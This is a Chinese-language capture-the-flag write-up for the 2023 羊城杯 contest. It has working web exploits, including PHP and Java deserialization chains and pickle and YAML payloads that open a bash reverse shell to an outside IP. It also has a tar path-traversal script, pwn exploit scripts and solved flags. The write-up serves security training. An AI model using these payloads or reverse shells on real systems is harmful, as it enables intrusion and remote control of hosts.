September 5, 2023

羊城杯 2023 Writeup

前言

当了一回小丑,努力的运维,想进个线下,结果线下不报销,然后给学院背刺了,一开始让我们打以为挺重视的,结果打进线下后来了一句:”最近学院资金不足,只有国家级才可以报销”。。当时人都懵逼了,哎麻了麻了就这样吧。。。。。图一乐
2bdae59b00b5f749063e7777b6abe1be.jpg

Web

D0n’t pl4y g4m3!!!

考点:PHP7.4.21源码泄露,反序列化
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<?php
header("HTTP/1.1 302 found");
header("Location:https://passer-by.com/pacman/");

class Pro{
private $exp;
private $rce2;

public function __get($name)
{
return $this->$rce2=$this->exp[$rce2];
}
public function __toString()
{
call_user_func('system', "cat /flag");
}
}

class Yang
{
public function __call($name, $ary)
{
if ($this->key === true || $this->finish1->name) {
if ($this->finish->finish) {
call_user_func($this->now[$name], $ary[0]);
}
}
}
public function ycb()
{
$this->now = 0;
return $this->finish->finish;
}
public function __wakeup()
{
$this->key = True;
}
}
class Cheng
{
private $finish;
public $name;
public function __get($value)
{

return $this->$value = $this->name[$value];
}
}
class Bei
{
public function __destruct()
{
if ($this->CTF->ycb()) {
$this->fine->YCB1($this->rce, $this->rce1);
}
}
public function __wakeup()
{
$this->key = false;
}
}

function prohib($a){
$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
return preg_replace($filter,'',$a);
}
//$a=new Bei;
//$a->rce='E:\\1.txt';
//$a->rce1='/tmp/catcatf1ag.txt';
//$b=new Yang;
//$a->CTF=$b;
//$b->finish->finish=1;
//$c=new Yang;
//$a->fine=$c;
//$c->finish1->name=1;
//$c->finish->finish=1;
//$c->now=["YCB1"=>"readfile"];
//echo urlencode(serialize($a));
unserialize(prohib(urldecode('O%3A3%3A%22Bei%22%3A4%3A%7Bs%3A3%3A%22rce%22%3Bs%3A19%3A%22%2Ftmp%2Fcatcatf1ag.txt%22%3Bs%3A4%3A%22rce1%22%3Bs%3A19%3A%22%2Ftmp%2Fcatcatf1ag.txt%22%3Bs%3A3%3A%22CTF%22%3BO%3A4%3A%22Yang%22%3A1%3A%7Bs%3A6%3A%22finish%22%3BO%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A6%3A%22finish%22%3Bi%3A1%3B%7D%7Ds%3A4%3A%22fine%22%3BO%3A4%3A%22Yang%22%3A3%3A%7Bs%3A7%3A%22finish1%22%3BO%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bi%3A1%3B%7Ds%3A6%3A%22finish%22%3BO%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A6%3A%22finish%22%3Bi%3A1%3B%7Ds%3A3%3A%22now%22%3Ba%3A1%3A%7Bs%3A4%3A%22YCB1%22%3Bs%3A8%3A%22readfile%22%3B%7D%7D%7D')))
?>

不是很理解其中cheng和pro类有什么用,完全用不上,直接readfile去读文件就行了。

Ez_java

考点:java反序列化、freemaker模板注入
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package com.ycbjava;

import com.ycbjava.Utils.HtmlInvocationHandler;
import com.ycbjava.Utils.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;

public class exp {
public static void main(String[] args) throws Exception {
HtmlMap htmlMap = new HtmlMap();
setFieldValue(htmlMap,"content","<#assign ac=springMacroRequestContext.webApplicationContext>\n" +
"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n" +
"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n" +
"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(\"cat /flag\")}");
setFieldValue(htmlMap,"filename","index.ftl");
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationconstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationconstructor.setAccessible(true);
HtmlInvocationHandler htmlInvocationHandler = new HtmlInvocationHandler(htmlMap);
//生成动态代理
Map mapproxy= (Map) Proxy.newProxyInstance(HtmlMap.class.getClassLoader(),new Class[]{Map.class},htmlInvocationHandler);
//生成最外层
Object o = annotationconstructor.newInstance(Override.class, mapproxy);
//deserTester(o);
System.out.println(base64serial(o));

}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.setAccessible(true);
if(field != null) {
field.set(obj, value);
}
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void deserTester(Object o) throws Exception {
base64deserial(base64serial(o));
}
public static String base64serial(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}
public static void base64deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}

CC1后半的动态代理触发htmlinvocationhanddler。然后就是get写文件覆盖index.ftl,payload参考https://www.cnblogs.com/escape-w/p/17326592.html
image.png

Ez_web

考点:ld.so.preload RCTF2022的trick
这一题首先进行一波脑电波的比对,看你知不知道上传的文件是在etc目录下,放出来这个hint就他妈烂了这题。
image.png
进行一个msfvenom的生成
61b98be19956335f32801e7661abc6b.png
然后捏,把这个文件上传了先
3fb62c366472da0e9965f8be32d1ce2.png
e1c837f7bff327861aa207b14223621.png
再跑回cmd执行任意命令,就劫持了LD_PRELOAD
2d01b5240ba526746c5ff46b3652480.png

Serpent

考点:jwt伪造、pickle绕过R的反序列化
源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from flask import Flask, session
import base64
@app.route('/verification')
def verification():
try:
attribute = session.get('Attribute')
if not isinstance(attribute, dict):
raise Exception
except Exception:
return 'Hacker!!!'
if attribute.get('name') == 'admin':
if attribute.get('admin') == 1:
return secret
else:
return "Don't play tricks on me"
else:
return "You are a perfect stranger to me"

#GWHTESEeGQMqmz
#{'Attribute': {'admin': 1, 'name': 'GWHT', 'secret_key': 'GWHTESEeGQMqmz'}}
if __name__ == '__main__':
app.run('0.0.0.0', port=80)

还有一段源码,在pickle界面抓包,响应头有hint

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

@app.route('/src0de')
def src0de():
f = open(__file__, 'r')
rsp = f.read()
f.close()
return rsp[rsp.index("@app.route('/src0de')"):]

@app.route('/ppppppppppick1e')
def ppppppppppick1e():
try:
username = "admin"
rsp = make_response("Hello, %s " % username)
rsp.headers['hint'] = "Source in /src0de"
pick1e = request.cookies.get('pick1e')
if pick1e is not None:
pick1e = base64.b64decode(pick1e)
else:
return rsp
if check(pick1e):
pick1e = pickle.loads(pick1e)
return "Go for it!!!"
else:
return "No Way!!!"
except Exception as e:
error_message = str(e)
return error_message

return rsp

class GWHT():
def __init__(self):
pass

if __name__ == '__main__':
app.run('0.0.0.0', port=80)

一眼把这个换到cookie反弹shell

1
2
3
4
5
6
7
8
from flask import Flask, session
import base64

opcode=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/114.116.119.253/7777 <&1"'
o.'''
print(base64.b64encode(opcode)

image.png
提权

1
python3.8 -c "import os;os.execl('/bin/sh','sh','-p')"

image.png

ArkNights

非预期:
/read?file=/proc/1/environ

ezyaml

考点:tar的zipslip文件覆盖,yaml反序列化
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import os
import tarfile

def zipslip(tarinfo):
tarinfo.uid = tarinfo.gid = 1000
tarinfo.uname = tarinfo.gname = "poc"
return tarinfo


tar = tarfile.open("poc.tar","w|")

fullpath = os.path.join("../../","config/1.yaml")
tar.add(fullpath,filter=zipslip)
tar.close()

我的万年脚本,记得保存文件架构为
image.png
exp目录的../../也有一个config文件夹

1
exp: !!python/object/apply:os.system ["bash -c 'bash -i >& /dev/tcp/114.116.119.253/7777 <&1'"]

然后上传后访问/src?username=1就可以直接反弹shell,进行yaml反序列化
image.png
image.png

Reverse

CSGO

go逆向直接就动态调试拿表就行了。。。
73913519-A0A6-5575-0F10-DDCBF50FA8CA

vm_wo

我擦,苹果
image.png
静态手撸吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 i; // x8
char __s[16]; // [xsp+10h] [xbp-E0h] BYREF
__int128 v6; // [xsp+20h] [xbp-D0h]
__int128 v7; // [xsp+30h] [xbp-C0h]
__int128 v8; // [xsp+40h] [xbp-B0h]
__int128 v9; // [xsp+50h] [xbp-A0h]
__int128 v10; // [xsp+60h] [xbp-90h]
__int128 v11; // [xsp+70h] [xbp-80h]
__int128 v12; // [xsp+80h] [xbp-70h]
__int128 v13; // [xsp+90h] [xbp-60h]
__int128 v14; // [xsp+A0h] [xbp-50h]
__int128 v15; // [xsp+B0h] [xbp-40h]
__int128 v16; // [xsp+C0h] [xbp-30h]
__int64 v17; // [xsp+D0h] [xbp-20h]

if ( ptrace(0, 0, (caddr_t)1, 0) == -1 )
goto LABEL_8;
v17 = 0LL;
v15 = 0u;
v16 = 0u;
v13 = 0u;
v14 = 0u;
v11 = 0u;
v12 = 0u;
v9 = 0u;
v10 = 0u;
v7 = 0u;
v8 = 0u;
*(_OWORD *)__s = 0u;
v6 = 0u;
printf("please input your flag:");
scanf("%s", __s);
if ( strlen(__s) != 29 )
LABEL_8:
exit(0);
myoperate(__s, 29);
for ( i = 0LL; i != 29; ++i )
{
if ( __s[i] != byte_100003F47[i] )
{
printf("error!");
goto LABEL_8;
}
}
printf("ok you get the flag");
return 0;
}

提取到密文:

1
2
3
4
5
6
unsigned char ida_chars[] =
{
0xDF, 0xD5, 0xF1, 0xD1, 0xFF, 0xDB, 0xA1, 0xA5, 0x89, 0xBD,
0xE9, 0x95, 0xB3, 0x9D, 0xE9, 0xB3, 0x85, 0x99, 0x87, 0xBF,
0xE9, 0xB1, 0x89, 0xE9, 0x91, 0x89, 0x89, 0x8F, 0xAD
};

指令好像写死了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
__int64 __fastcall myoperate(char *a1, int a2)
{
__int64 v2; // x20
_QWORD v5[2]; // [xsp+8h] [xbp-98h] BYREF
_QWORD v6[2]; // [xsp+18h] [xbp-88h] BYREF
_QWORD v7[2]; // [xsp+28h] [xbp-78h] BYREF
_QWORD v8[2]; // [xsp+38h] [xbp-68h] BYREF

LODWORD(v2) = a2;
dword_100008003 = -1091715345;
if ( ptrace(0, 0, (caddr_t)1, 0) == -1 )
exit(0);
if ( (int)v2 >= 1 )
{
v2 = (unsigned int)v2;
do
{
v8[0] = 0x20D01011903001ALL;
*(_QWORD *)((char *)v8 + 7) = 0x300010201180702LL;
BYTE2(v8[0]) = *a1;
interpretBytecode((char *)v8, 15);
v7[0] = 0x20D02011903001ALL;
*(_QWORD *)((char *)v7 + 7) = 0x400010201180602LL;
BYTE2(v7[0]) = vm_body;
interpretBytecode((char *)v7, 15);
v6[0] = 0x20D03011903001ALL;
*(_QWORD *)((char *)v6 + 7) = 0x500010201180502LL;
BYTE2(v6[0]) = vm_body;
interpretBytecode((char *)v6, 15);
v5[0] = 0x20D04011903001ALL;
*(_QWORD *)((char *)v5 + 7) = 0x600010201180402LL;
BYTE2(v5[0]) = vm_body;
interpretBytecode((char *)v5, 15);
*a1++ = ((unsigned __int8)vm_body >> 5) | (8 * vm_body);
--v2;
}
while ( v2 );
}
return 0LL;
}

手撸,发现加密很对称,写出解密脚本(异或和位移)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if __name__ == '__main__':

a1 = [0xDF, 0xD5, 0xF1, 0xD1, 0xFF, 0xDB, 0xA1, 0xA5, 0x89, 0xBD, 0xE9, 0x95, 0xB3, 0x9D, 0xE9, 0xB3, 0x85, 0x99,
0x87, 0xBF, 0xE9, 0xB1, 0x89, 0xE9, 0x91, 0x89, 0x89, 0x8F, 0xAD, 0x57]
length = len(a1)
for i in range(length):
temp = a1[i]
temp = ((temp >> 3) | (temp << 5)) & 0xff
temp ^= 0xBE
temp = ((temp >> 4) | (temp << 4)) & 0xff
temp ^= 0xED
temp = ((temp >> 5) | (temp << 3)) & 0xff
temp ^= 0xBE
temp = ((temp >> 6) | (temp << 2)) & 0xff
temp ^= 0xEF
temp = ((temp >> 7) | (temp << 1)) & 0xff
# print(temp)
print(chr(temp), end='')

flag:
DASCTF{you_are_right_so_cool}

Ez加密器

通过------\nGetFlag!\n------定位到sub_7FF798C240E0
分析如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
__int64 sub_7FF798C240E0()
{
char *v0; // r8
char *v1; // rcx
char *v2; // r9
char v3; // si
unsigned __int8 v4; // di
int v5; // eax
int v6; // edx
int v7; // edi
int v8; // eax
int v9; // edi
int v10; // ebp
int v11; // edi
int v12; // er12
int v13; // edi
char v14; // di
int v15; // eax
int v16; // edx
int v18; // esi
int v19; // eax
int v20; // esi
int v21; // edi
int v22; // esi
int v23; // ebp
int v24; // esi
char *v25; // [rsp+20h] [rbp-D8h] BYREF
__int64 v26; // [rsp+28h] [rbp-D0h]
unsigned __int8 code_base64[8]; // [rsp+38h] [rbp-C0h] BYREF
char Str2[184]; // [rsp+40h] [rbp-B8h] BYREF

sub_7FF798C13D87();
get_input(code, input);
base64_enc((__int64)code, 6u, code_base64);
DES(&v25, code_base64, input, 40i64);
v0 = v25;
if ( (int)v26 <= 0 )
{
v2 = Str2;
}
else
{
v1 = Str2;
v2 = &Str2[2 * (int)v26];
do
{
v3 = *v0;
v4 = (unsigned __int8)*v0 >> 4;
v5 = v4;
if ( v4 <= 9u )
{
LOBYTE(v6) = v4 ^ 0x30;
if ( !v4 )
LOBYTE(v6) = 48;
}
else
{
v6 = 65;
do
{
v7 = v6 & v5;
v6 ^= v5;
v5 = 2 * v7;
}
while ( 2 * v7 );
v8 = -11;
v9 = 1;
do
{
v10 = v9;
v11 = v8 & v9;
v12 = v8;
v8 ^= v10;
v9 = 2 * v11;
}
while ( v9 );
if ( v10 != v12 )
{
do
{
v13 = v6 & v8;
v6 ^= v8;
v8 = 2 * v13;
}
while ( 2 * v13 );
}
}
*v1 = v6;
v1 += 2;
v14 = v3 & 0xF;
v15 = v3 & 0xF;
if ( (v3 & 0xFu) > 9 )
{
v16 = 65;
do
{
v18 = v16 & v15;
v16 ^= v15;
v15 = 2 * v18;
}
while ( 2 * v18 );
v19 = -11;
v20 = 1;
do
{
v21 = v20;
v22 = v19 & v20;
v23 = v19;
v19 ^= v21;
v20 = 2 * v22;
}
while ( v20 );
if ( v21 != v23 )
{
do
{
v24 = v16;
v16 ^= v19;
v19 = 2 * (v19 & v24);
}
while ( v19 );
}
}
else
{
LOBYTE(v16) = v14 ^ 0x30;
if ( !v14 )
LOBYTE(v16) = 48;
}
*(v1 - 1) = v16;
++v0;
}
while ( v1 != v2 );
}
*v2 = 0;
if ( !strcmp(Big_Numbers1_7FF798C250A0, Str2) )
sub_7FF798C116E0("------\nGetFlag!\n------");
system("pause");
return 0i64;
}

可以知道程序先获取长度为6位的密钥和长度为40的flag,然后用自定义表base64编码密钥,接着DES加密
最后和Big_Numbers1_7FF798C250A0进行check
通过动调可知每次加密flag前都会在flag后带上不变的字符串88888888,且加密结果为1CA3C55D3A4D7BEA
据此可以通过爆破得到6位数字密钥key,然后用变表base64编码过的key去解Big_Numbers1_7FF798C250A0
还有一点就是Big_Numbers1_7FF798C250A0静态调试查看是混乱的动调可以获取到正确的
还有个小细节是动调的时候会检测输入的密钥是不是6位,flag有无DASCTF{}格式并且长度是否为40否则输入完会直接退出
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from Crypto.Cipher import DES
import binascii
import itertools
import base64
def custom_base64_encode(data):
custom_chars = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ+/'
# 创建标准Base64字符集和自定义字符集的映射表
base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
char_map = str.maketrans(base64_chars, custom_chars)
# 使用标准Base64编码
encoded_data = base64.b64encode(data.encode()).decode()
# 替换为自定义字符
encoded_data = encoded_data.translate(char_map)
return encoded_data

def generate_sequential_key():
digits = '0123456789'
for key_tuple in itertools.product(digits, repeat=6):
yield ''.join(key_tuple)

enc = int.to_bytes(0x1CA3C55D3A4D7BEA, 8, 'big').hex()
# print(enc)
tmp = [8,8,8,8,8,8,8,8]
for psw in generate_sequential_key():
key = custom_base64_encode(psw).encode()
#DES加密
cipher = DES.new(key, DES.MODE_ECB)
cipher_text = cipher.encrypt(bytes(tmp))
if cipher_text.hex() == enc:
print(f"Found key:{psw}\nIt's base64_encode:{key.decode()}")
encryption_key = key.decode()
break
pass

def des_decrypt(ciphertext, key):
# 将密钥转换为8字节
key = key.encode('utf-8')[:8]
# 将16进制字符串转换为字节
ciphertext = binascii.unhexlify(ciphertext)
# 创建DES加密器
cipher = DES.new(key, DES.MODE_ECB)
# 解密数据
plaintext = cipher.decrypt(ciphertext)
return plaintext.decode('utf-8')
# 要解密的数据和密钥
encrypted_data = "0723105D5C12217DCDC3601F5ECB54DA9CCEC2279F1684A13A0D716D17217F4C9EA85FF1A42795731CA3C55D3A4D7BEA"
# encryption_key = "mtuNndAM"
# 解密数据
decrypted_data = des_decrypt(encrypted_data, encryption_key)
print("Decrypted Data:", decrypted_data)
# Found key:151490
# It's base64_encode:mtuNndAM
# Decrypted Data: DASCTF{f771b96b71514bb6bc20f3275fa9404e}

Blast

ida Findcrypt插件看到MD5和好多个哈希值
image.png
image.png
定位到MD5加密函数,查看引用有两个
image.png
一个在main函数一个在sub_402370,发现main函数和sub_402370差不多且在main函数中调用了sub_402370
所以直接盲猜两次哈希MD5(MD5(data))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
enc = [
'14d89c38cd0fb23a14be2798d449c182','a94837b18f8f43f29448b40a6e7386ba','af85d512594fc84a5c65ec9970956ea5','af85d512594fc84a5c65ec9970956ea5','10e21da237a4a1491e769df6f4c3b419','a705e8280082f93f07e3486636f3827a','297e7ca127d2eef674c119331fe30dff','b5d2099e49bdb07b8176dff5e23b3c14','83be264eb452fcf0a1c322f2c7cbf987','a94837b18f8f43f29448b40a6e7386ba','71b0438bf46aa26928c7f5a371d619e1','a705e8280082f93f07e3486636f3827a','ac49073a7165f41c57eb2c1806a7092e','a94837b18f8f43f29448b40a6e7386ba','af85d512594fc84a5c65ec9970956ea5','ed108f6919ebadc8e809f8b86ef40b05','10e21da237a4a1491e769df6f4c3b419','3cfd436919bc3107d68b912ee647f341','a705e8280082f93f07e3486636f3827a','65c162f7c43612ba1bdf4d0f2912bbc0','10e21da237a4a1491e769df6f4c3b419','a705e8280082f93f07e3486636f3827a','3cfd436919bc3107d68b912ee647f341','557460d317ae874c924e9be336a83cbe','a705e8280082f93f07e3486636f3827a','9203d8a26e241e63e4b35b3527440998','10e21da237a4a1491e769df6f4c3b419','f91b2663febba8a884487f7de5e1d249','a705e8280082f93f07e3486636f3827a','d7afde3e7059cd0a0fe09eec4b0008cd','488c428cd4a8d916deee7c1613c8b2fd','39abe4bca904bca5a11121955a2996bf','a705e8280082f93f07e3486636f3827a','3cfd436919bc3107d68b912ee647f341','39abe4bca904bca5a11121955a2996bf','4e44f1ac85cd60e3caa56bfd4afb675e','45cf8ddfae1d78741d8f1c622689e4af','3cfd436919bc3107d68b912ee647f341','39abe4bca904bca5a11121955a2996bf','4e44f1ac85cd60e3caa56bfd4afb675e','37327bb06c83cb29cefde1963ea588aa','a705e8280082f93f07e3486636f3827a','23e65a679105b85c5dc7034fded4fb5f','10e21da237a4a1491e769df6f4c3b419','71b0438bf46aa26928c7f5a371d619e1','af85d512594fc84a5c65ec9970956ea5','39abe4bca904bca5a11121955a2996bf']
import hashlib
import itertools

# 生成所有ASCII可见字符
characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 !"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
combinations = itertools.product(characters, repeat=1)
# 创建一个字典以存储已知哈希值和对应的原始字符
hashes_dict = {hash_val: None for hash_val in enc}
# 遍历所有组合,计算哈希值并与已知的哈希值进行比较
for combo in combinations:
plaintext = ''.join(combo)
hash1 = hashlib.md5(plaintext.encode()).hexdigest()
hash2 = hashlib.md5(hash1.encode()).hexdigest()
if hash2 in enc:
hashes_dict[hash2] = plaintext
flag = ''
for i in enc:
flag += hashes_dict[i]
print(f"Original Text for Hash '{i}': {hashes_dict[i]}")
print(flag)
'''
Original Text for Hash '14d89c38cd0fb23a14be2798d449c182': H
Original Text for Hash 'a94837b18f8f43f29448b40a6e7386ba': e
Original Text for Hash 'af85d512594fc84a5c65ec9970956ea5': l
Original Text for Hash 'af85d512594fc84a5c65ec9970956ea5': l
Original Text for Hash '10e21da237a4a1491e769df6f4c3b419': o
Original Text for Hash 'a705e8280082f93f07e3486636f3827a': _
Original Text for Hash '297e7ca127d2eef674c119331fe30dff': C
Original Text for Hash 'b5d2099e49bdb07b8176dff5e23b3c14': t
Original Text for Hash '83be264eb452fcf0a1c322f2c7cbf987': f
Original Text for Hash 'a94837b18f8f43f29448b40a6e7386ba': e
Original Text for Hash '71b0438bf46aa26928c7f5a371d619e1': r
Original Text for Hash 'a705e8280082f93f07e3486636f3827a': _
Original Text for Hash 'ac49073a7165f41c57eb2c1806a7092e': V
Original Text for Hash 'a94837b18f8f43f29448b40a6e7386ba': e
Original Text for Hash 'af85d512594fc84a5c65ec9970956ea5': l
Original Text for Hash 'ed108f6919ebadc8e809f8b86ef40b05': c
Original Text for Hash '10e21da237a4a1491e769df6f4c3b419': o
Original Text for Hash '3cfd436919bc3107d68b912ee647f341': m
Original Text for Hash 'a705e8280082f93f07e3486636f3827a': _
Original Text for Hash '65c162f7c43612ba1bdf4d0f2912bbc0': T
Original Text for Hash '10e21da237a4a1491e769df6f4c3b419': o
Original Text for Hash 'a705e8280082f93f07e3486636f3827a': _
Original Text for Hash '3cfd436919bc3107d68b912ee647f341': m
Original Text for Hash '557460d317ae874c924e9be336a83cbe': y
Original Text for Hash 'a705e8280082f93f07e3486636f3827a': _
Original Text for Hash '9203d8a26e241e63e4b35b3527440998': M
Original Text for Hash '10e21da237a4a1491e769df6f4c3b419': o
Original Text for Hash 'f91b2663febba8a884487f7de5e1d249': v
Original Text for Hash 'a705e8280082f93f07e3486636f3827a': _
Original Text for Hash 'd7afde3e7059cd0a0fe09eec4b0008cd': a
Original Text for Hash '488c428cd4a8d916deee7c1613c8b2fd': n
Original Text for Hash '39abe4bca904bca5a11121955a2996bf': d
Original Text for Hash 'a705e8280082f93f07e3486636f3827a': _
Original Text for Hash '3cfd436919bc3107d68b912ee647f341': m
Original Text for Hash '39abe4bca904bca5a11121955a2996bf': d
Original Text for Hash '4e44f1ac85cd60e3caa56bfd4afb675e': 5
Original Text for Hash '45cf8ddfae1d78741d8f1c622689e4af': (
Original Text for Hash '3cfd436919bc3107d68b912ee647f341': m
Original Text for Hash '39abe4bca904bca5a11121955a2996bf': d
Original Text for Hash '4e44f1ac85cd60e3caa56bfd4afb675e': 5
Original Text for Hash '37327bb06c83cb29cefde1963ea588aa': )
Original Text for Hash 'a705e8280082f93f07e3486636f3827a': _
Original Text for Hash '23e65a679105b85c5dc7034fded4fb5f': w
Original Text for Hash '10e21da237a4a1491e769df6f4c3b419': o
Original Text for Hash '71b0438bf46aa26928c7f5a371d619e1': r
Original Text for Hash 'af85d512594fc84a5c65ec9970956ea5': l
Original Text for Hash '39abe4bca904bca5a11121955a2996bf': d
Hello_Ctfer_Velcom_To_my_Mov_and_md5(md5)_world
'''

Pwn

risky_login

考点:异架构pwn、risc-v用Ghidra才支持反汇编
exp:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(log_level='debug')
p=remote('tcp.cloud.dasctf.com',29099)
p.recv()
p.send('berial')
payload=b'a'*(0xf8+8)+p64(0x123456ee)
p.recv()
p.send(payload)
sleep(0.5)
p.send('cat fl*')
p.interactive()

shellcode

考点:只有十六个字节的shellcode,得绕之后再写
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : io.send(data)
sa = lambda text,data :io.sendafter(text, data)
sl = lambda data :io.sendline(data)
sla = lambda text,data :io.sendlineafter(text, data)
r = lambda num=4096 :io.recv(num)
rl = lambda text :io.recvuntil(text)
pr = lambda num=4096 :print(io.recv(num))
inter = lambda :io.interactive()
l32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(io.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(io.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :io.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64')
#io = remote('tcp.cloud.dasctf.com',23784)
elf = ELF('./shellcode')
libc = ELF('./libc.so.6')
while True:
io = remote('tcp.cloud.dasctf.com',23784)
rl(b'[2] Input: (ye / no)\n')
sl(b'no')
payload = asm('push rax; pop rsi; push rbx; pop rax; push rbx; pop rdi; pop rbx; pop rbx; pop rsp; pop rdx;')
payload = payload.ljust(0x10, asm('pop rbx;')) + p8(0xf)

sa(b'Code ========\n', pl)

sleep(1)
sh = b'a'*0x12
sh += asm('sub rsp, 0x100');
sh += asm(shellcraft.open('/flag'))
sh += asm('mov rdi, 3; mov rsi, 0; mov rax, 33; syscall;')
sh += asm('mov rax, 0; mov rdi, 0; mov rsi, r12; mov rdx, 0x100; syscall;')
sh += asm('mov rdi, 1; mov rsi, 4; mov rax, 33; syscall;')
sh += asm('mov rax, 1; mov rdi, 4; mov rsi, r12; mov rdx, 0x100; syscall;')

try:
s(sh)
rl(b'{')
while 1:
pr()
exit(1)
except:
io.close()
pass

图片.png

easy_vm

巨简单的opcode,直接打ogg打exit_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.arch='amd64'
libc = ELF('./libc-2.23.so')

io = remote('tcp.cloud.dasctf.com',24505)
payload = flat([
2,
7,0x3c4b78,
6,0xf1147,
1,
7,0xf1147,
6,0x5f0040+3848,
3,
])
io.send(payload)
io.interactive()

图片.png

cookieBox

老版本的musl pwn
strings命令查到musl版本是1.1.24
看这个文章做的https://www.anquanke.com/post/id/202253
利用UAF,伪造chunk获得任意地址写,再劫持stdout即可。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#_*_coding:utf-8_*_
from pwn import *
from pwn import u64,u32,p64,p32


context(arch='amd64',os='linux',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

# elf = ELF("./cookieBox")
# libc = ELF("./libc.so")
